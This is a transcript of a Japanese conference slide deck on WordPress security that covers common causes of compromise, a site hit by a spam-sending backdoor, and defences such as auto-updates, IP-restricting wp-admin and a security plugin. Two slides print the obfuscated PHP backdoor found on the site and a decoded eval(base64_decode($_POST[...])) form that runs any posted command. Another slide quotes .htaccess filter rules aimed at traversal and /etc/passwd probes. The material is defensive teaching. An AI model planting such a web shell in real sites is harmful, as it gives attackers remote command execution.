wordbench yamaguchi at ube

44
WordPress のセキュリティ対策 YAMAMOTO Takashi [email protected] @yamachan5593 Piwik Japan Team Jan 30, 2016 at Wordbench YAMAGUCHI, Ube

Upload: takashi-yamamoto

Post on 15-Apr-2017

550 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: WordBench YAMAGUCHI at Ube

WordPress のセキュリティ対策

YAMAMOTO [email protected]

@yamachan5593

Piwik Japan Team

Jan 30, 2016 at WordbenchYAMAGUCHI, Ube

Page 2: WordBench YAMAGUCHI at Ube

自己紹介

■ OpenSolaris ユーザー会(最近サボり気味)□ https://osdn.jp/projects/jposug/

■ Piwikjapan 日本語パッチ作成/OSC 東京での発表□ https://osdn.jp/projects/piwik-fluentd/

■ 山口県出身、ここの窓から見えるとこに通うこと 8 年■ 趣味ロシア語

□ 今年はこの界隈ではあまりいい話はないと思います

2 of 44

Page 3: WordBench YAMAGUCHI at Ube

自己紹介: ロシア語■ ロシアはウクライナの電力システムをとめたのか?1

□ クリスマスの前(12/23 のこと)ウクライナの 70 万人が電力を奪われました。

多くからロシアのハッカーの関与が指摘されています。これは恐ら

く新しいハッカー攻撃の幕開けとなるはずです。

1http://inosmi.ru/social/20160111/235008174.html (2016.01.11)3 of 44

Page 4: WordBench YAMAGUCHI at Ube

自己紹介: WordPress■ WordPress とのかかわり

□ 最近 WordPress での納入が多いのでどうしてもね□ 奥さんの自営サイト□ 去年手ひどくバックドアを仕掛けられる、自営サイトでよかったよ

4 of 44

Page 5: WordBench YAMAGUCHI at Ube

これから話す内容

■ 脆弱性はかく招かれるのか

■ 事例

■ 対策□ 自動アップデート□ 魔改造□ ID パスワードの管理/admin の管理□ セキュリティ対策プラグインの導入

5 of 44

Page 6: WordBench YAMAGUCHI at Ube

脆弱性はかく招かれるのか

6 of 44

Page 7: WordBench YAMAGUCHI at Ube

WordPress の脆弱性を招くきっかけ2

1. バージョンが古い

2. ID パスワード/admin の管理をしていない

3. いろいろまぜこぜにしているサーバー

4. Web に関する無知

5. 手抜き

2https://www.smashingmagazine.com/2012/10/four-malware-infections-wordpress/7 of 44

Page 8: WordBench YAMAGUCHI at Ube

1-1. バージョンが古い “WordPress”

■ コアチームはパッチを速やかに出しているけど

■ アップデートしろっていうメールも来るけど

■ でも 3 つも 4 つも管理しているとやってられない。メンドクサイ

8 of 44

Page 9: WordBench YAMAGUCHI at Ube

1-2. バージョンが古い “公式プラグイン/テーマ”

■ 速やかにアップデートしろって admin 画面にでるけど

■ 3 つも 4 つも管理しているとやってられない。メンドクサイ

9 of 44

Page 10: WordBench YAMAGUCHI at Ube

1-3. バージョンの古い “非公式プラグイン/テーマ”

■ メンテナンスされていない野良プラグイン/テーマを使用■ 魔改造→これは厄介

□ どこかのプラグイン/テーマを魔改造して納品しよる□ 魔改造のもとになっているプラグイン/テーマがアップデートされてもパッチを当てられない

□ 魔改造業者のプログラミングレベルがまちまちテーマに SQL を仕込まれて(!)しかもプレースホルダ使っていないとか(SQL の組み立てが全部 concat)公開ディレクトリにアンケートフォームの結果を CSV で格納してみたり

10 of 44

Page 11: WordBench YAMAGUCHI at Ube

2. ID パスワード/admin の管理をしていない

■ wp-admin(管理画面)が世界中から見えている■ 変更しないかぎり管理者 admin は誰でも知っている id となる

□ id を推測する手間が省ける□ 短いパスワードだと総当たり攻撃でばれる

11 of 44

Page 12: WordBench YAMAGUCHI at Ube

3. いろいろまぜこぜにしているサーバー■ ひとつのサーバーに複数の WordPress を違うポリシーで運用

□ アップデートをサボっている WordPress を足場にして全体をやられる

バックドアを仕込まれて eval が実行可能になればなんでもあり□ あとで仕込まれたバックドア例を示します

12 of 44

Page 13: WordBench YAMAGUCHI at Ube

4. Web に関する無知

■ アップデートの重要性がわからない

■ 納入業者が悲惨□ パーミッションを 777 にしたら動いたのでそのままで運用□ 実行権限とはなんなのかさえわかっていない場合も · · ·□ 魔改造とのコラボ

13 of 44

Page 14: WordBench YAMAGUCHI at Ube

5. 手抜き

■ パッチをあてない

■ ログを見ていない□ 総当たりで id パスワードが漏れていてもわからない□ バックドアをしこまれていて妙に負荷が高くなっていてもわからない

■ upload ディレクトリから php 実行権限をはく奪していない(これを手抜きというのはちょっと厳しいかも)

(これは WordPress の欠陥という人もいる)

14 of 44

Page 15: WordBench YAMAGUCHI at Ube

事例

15 of 44

Page 16: WordBench YAMAGUCHI at Ube

何をされたのか

■ wp-admin(管理画面)が世界中から見えていた

■ 恐らく管理画面のパスワードをハックされ、バックドアプログラ

ムを wp-contents/upload ディレクトリにおかてしまった

■ バックドアから大量のスパムメール(数万通)が発信された

■ アップデートは自動でかけていた

■ WordPress では upload ディレクトリで php が実行できる□ .htaccess などで制限しない限り実行できてしまう□ upload ディレクトリがあるのは WordPress に限ったことではない

16 of 44

Page 17: WordBench YAMAGUCHI at Ube

wp-contents/upload にバックドア■ 大抵は難読化済、つまり grep で文字検索できないようにする

<?php

$sF="PCT4BA6ODSE_";

$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].

$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);

$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);

if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’]));

?>

17 of 44

Page 18: WordBench YAMAGUCHI at Ube

wp-contents/upload にバックドア■ 大抵は難読化済、つまり grep で文字検索できないようにする

<?php

$sF="PCT4BA6ODSE_";

$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].

$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);

$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);

if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’]));

?>

■ base64 でエンコードして nf76775 に POST してしまえばサーバ上でコマンド実行!

■ つまりこういうこと

<?php

if (isset($_POST[’nf76775’]))

eval(base64_decode($_POST[’nf76775’]));

■ 一カ所でもやれたら終わりです

18 of 44

Page 19: WordBench YAMAGUCHI at Ube

実演

19 of 44

Page 20: WordBench YAMAGUCHI at Ube

対策(自動アップデート)

20 of 44

Page 21: WordBench YAMAGUCHI at Ube

アップデート(デフォルトの挙動)

■ WordPress 本体/テーマのアップデートはデフォルトで自動□ WordPress 本体はマイナーバージョンに限る(例: 4.2.x の “x”)□ ftp の設定が必要

■ プラグインは自動ではない

■ wp-config.php または add filter でデフォルトの挙動を変更できる■ この際プラグインも自動にしてしてしまいましょう

□ 管理サイトがいくつあっても OK□ 深夜にパッチが出ても OK□ パッチとともに脆弱性が公表されたらあっという間に攻撃が来ますよ

21 of 44

Page 22: WordBench YAMAGUCHI at Ube

アップデート準備(wp-config.php)

■ WordPress 自身が FTP でアップデートできるように設定します■ 自動アップデートをするときは必須

define(’FTP_BASE’, ’/’); → chroot されていれば

define(’FTP_USER’, ’ftpusername’);

define(’FTP_PASS’, ’ftppassword’);

define(’FTP_HOST’, ’localhost’); → 自分自身(127.0.0.1)

■ 更に FTP は外部からアクセスさせないようにします

22 of 44

Page 23: WordBench YAMAGUCHI at Ube

アップデート(wp-config.php)

■ メジャーアップデートしたければ wp-config.php にdefine( ’WP AUTO UPDATE CORE’, true );□ true - メジャーバージョン自動アップデート□ minor - マイナーバージョン自動アップデート(デフォルト)

■ テーマは自動アップデート

■ プラグインの自動アップデートは指示できない

■ つまりプラグインは警告のみでアップデートは手動

23 of 44

Page 24: WordBench YAMAGUCHI at Ube

アップデート(add filter: その 1)■ add filter を設定すれば、プラグインの自動アップデートが可能

// 開発版を使用しているとき

add_filter(’allow_dev_auto_core_updates’, ’__return_true’ );

// マイナーバージョン(デフォルト true)

add_filter(’allow_minor_auto_core_updates’, ’__return_true’ );

// メジャーバージョン

add_filter(’allow_major_auto_core_updates’, ’__return_true’ );

// プラグイン

add_filter(’auto_update_plugin’, ’__return_true’ );

// テーマ(デフォルト true)

add_filter(’auto_update_theme’, ’__return_true’ );

■ add filter は、wp-config.php に加えられないので must-use プラグインへの設定が推奨される(次で説明します)

24 of 44

Page 25: WordBench YAMAGUCHI at Ube

アップデート(add filter: その 2)■ must-use プラグイン3とはプラグインなんだけれども

□ いつも有効。admin とかユーザーが誤って無効することはできない□ wp-content/mu-plugins ディレクトリに入れるだけ□ 普通のプラグインより先、アルファベット順に PHP を読み込みつまり、他のプラグインが hook していてもその前にmust-use プラグインが hook してしまいます

□ ログインしなくても読み込まれる

3https://codex.wordpress.org/Must Use Plugins25 of 44

Page 26: WordBench YAMAGUCHI at Ube

アップデート(add filter: その 3)

■ 結局どうすればいいのか - 以下のファイルを置きさえすればいい

■ デフォルトの自動アップデートにプラグインとメジャーアップデートを付加する設定

wordpress/wp-content/mu-plugins/00my_plugin.php

<?php

/*

Plugin Name: 00my_pingin

Plugin URI: http://selfnavi.com

Description: forcibly define add_filter(s).

Version: 0.1

Author: yamachan

Author URI: http://selfnavi.com

License: GPL

*/

add_filter(’auto_update_plugin’, ’__return_true’);

add_filter(’allow_major_auto_core_updates’, ’__return_true’);

26 of 44

Page 27: WordBench YAMAGUCHI at Ube

対策(魔改造)

27 of 44

Page 28: WordBench YAMAGUCHI at Ube

魔改造納入対策

■ 改造前にそもそも同機能のプラグインがないかよく探させること

■ どうしても機能が足りず魔改造を発注するときは□ セキュリティ上の問題は納入後も改変を行うよう契約する□ 既存の WordPress、プラグイン、テーマのアップデートができることを検証させる

下手につくられると魔改造のおかげで WordPress 自体のアップデートができなくなることがある

□ セキュリティ診断を行ったあと納入させる

■ なんかいい手はないものか · · ·

28 of 44

Page 29: WordBench YAMAGUCHI at Ube

対策(ID パスワードの管理/admin の管理)

29 of 44

Page 30: WordBench YAMAGUCHI at Ube

ID パスワードの管理/admin の管理: その 1■ プラグインで管理画面を見えにくくする(あとで紹介)

□ admin という ID を変更□ wp-login.php、wp-admin を見えなくする□ 総当たりに強いパスワード制限を付ける

30 of 44

Page 31: WordBench YAMAGUCHI at Ube

ID パスワードの管理/admin の管理: その 2■ 管理画面を IP アドレスで制限する

□ 職場の IP アドレスのみ管理画面にアクセス可能とする□ 家とかモバイルだとグローバル IP が変わるので OpenVPN で閉域

IP 空間を作る

世田谷自宅Suttle DS437T

外DocomoE-mobileスーパーホテル

お名前.com自営 Wordpress

ConohaPiwikJapan

借りているGMO

OpenVPN10.X.4.Y

OpenVPN10.X.4.106

OpenVPN10.X.4.102

常時接続常時接続

31 of 44

Page 32: WordBench YAMAGUCHI at Ube

ID パスワードの管理/admin の管理: その 3■ 車内/家限定の /etc/httpd/conf/httpd.conf 設定例

<Directory /export/website/example.com/wordpress/wp-admin>

order deny,allow

Deny from all

allow from 10.233.3.0/24 → 閉域網の local IP に限定

</Directory>

<Files wp-login.php>

order deny,allow

Deny from all

allow from 10.233.3.0/24 → 閉域網の local IP に限定

</Files>

32 of 44

Page 33: WordBench YAMAGUCHI at Ube

対策(セキュリティ対策プラグインの導入)

33 of 44

Page 34: WordBench YAMAGUCHI at Ube

操作履歴をとるプラグインの導入

■ 普段から不正な操作がないかどうかよく見ておきましょう■ 操作履歴をとるプラグインがいろいろあります■ キーワード audit でプラグインを探しましょう■ WP Event Ticketing(など)

□ 誰が、いつ、何をしたかが記録に残る

あなたはログインしました

あなたはログアウトしました

Simple historyプラグインが有効

Simple history プラグインがインストール

34 of 44

Page 35: WordBench YAMAGUCHI at Ube

iThemes Security プラグイン4の導入: その 1■ iThemes Security で出来るセキュリティ対策

□ プラグインで可能なセキュリティ対策を危険度別に表示□ 管理画面を利用しない時間帯に管理画面をロックする機能□ サーバー上にあるファイルの変更を一日毎に検知□ ログイン画面のスラッグを変更してログイン画面を他者から隠す□ アップロードディレクトリ上での PHP実行を無効化できる□ ログイン試行回数を制限。設定回数を超えると管理画面をロック□ 不審なクエリー文字列をフィルターできる□ 拒否したいユーザー及び botの IPアドレスを指定して接続を拒否□ 総当たり攻撃から守るパスワードを強制□ XML-RPC サービスの停止□ (有料)マルウェアのスキャン

■ このほかにもたくさん機能があります

■ 太字をざっと説明します、バックドア対策に有効かと

4http://netaone.com/wp/ithemes-security/35 of 44

Page 36: WordBench YAMAGUCHI at Ube

iThemes Security プラグインの導入: その 2

■ プラグインで可能なセキュリティ対策を危険度別に表示

Fix It

36 of 44

Page 37: WordBench YAMAGUCHI at Ube

iThemes Security プラグインの導入: その 3■ サーバー上にあるファイルの変更を一日毎に検知

□ 正体不明のファイルが勝手にアップロードされている?□ 業者がコンテンツの修正をしたけど · · · どこを改変した?

~ 略 ~

~ 略 ~

対象ファイル

無視する拡張子

一日毎のファイル比較を有効にします

37 of 44

Page 38: WordBench YAMAGUCHI at Ube

iThemes Security プラグインの導入: その 4■ アップロードディレしクトリ上での PHP実行を無効化できる

□ たとえバックドアプログラムを upload されても実行できません□ 最後の砦です管理画面の抑制、アップロードファイルのチェック、

XML-RPC の不可などと併用しましょう□ wordpress/.htaccess にルールを付け足してくれます

RewriteRule ^wp\-content/uploads/.*\.(?:php[1-6]?|pht|phtml?)$

- [NC,F]

38 of 44

Page 39: WordBench YAMAGUCHI at Ube

iThemes Security プラグインの導入: その 5■ 不審なクエリー文字列をフィルターできる

□ git、hg ディレクトリが公開されていることはありませんか?□ wordpress/.htaccess にルールを付け足してくれます

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %QUERY_STRING \.\.\/ [NC,OR]

RewriteCond %QUERY_STRING ^.*\.(bash|git|hg|log|svn|swp|cvs) [NC,OR]

RewriteCond %QUERY_STRING etc/passwd [NC,OR]

RewriteCond %QUERY_STRING boot\.ini [NC,OR]

- 略 -

RewriteCond %QUERY_STRING (\<|%3C).*script.*(\>|%3E) [NC,OR]

RewriteCond %QUERY_STRING mosConfig_[a-zA-Z_]1,21(=|%3D) [NC,OR]

RewriteCond %QUERY_STRING base64_encode.*\(.*\) [NC,OR]

- 略 -

RewriteRule ^.* - [F]

</IfModule>

39 of 44

Page 40: WordBench YAMAGUCHI at Ube

iThemes Security プラグインの導入: その 6■ XML-RPC サービスの停止

□ XML-RPC を使うと、高速簡単に総当たり攻撃できますパスワードがばれたらバックドアアップロード、記事の投稿、楽勝

です□ コメントスパムも減るかもしれません□ wordpress/.htaccess にルールを付け足してくれます

<files xmlrpc.php>

<IfModule mod_authz_core.c>

Require all denied

</IfModule>

<IfModule !mod_authz_core.c>

Order allow,deny

Deny from all

</IfModule>

</files>

40 of 44

Page 41: WordBench YAMAGUCHI at Ube

実演

41 of 44

Page 42: WordBench YAMAGUCHI at Ube

まとめ

42 of 44

Page 43: WordBench YAMAGUCHI at Ube

まとめ

■ WordPress アップデートは自動にしましょう

■ wp-admin を隠しましょう

■ 発注、納入するときは魔改造プラグインのチェックを行いましょう

■ セキュリティ対策プラグインを導入しましょう□ 操作履歴をとる□ ファイル更新履歴をとる□ バックアップをとる□ uploads ディレクトリで PHP を実行できないようにする□ XML-RPC サービスの制限をする

43 of 44

Page 44: WordBench YAMAGUCHI at Ube

ご清聴ありがとうございました

44 of 44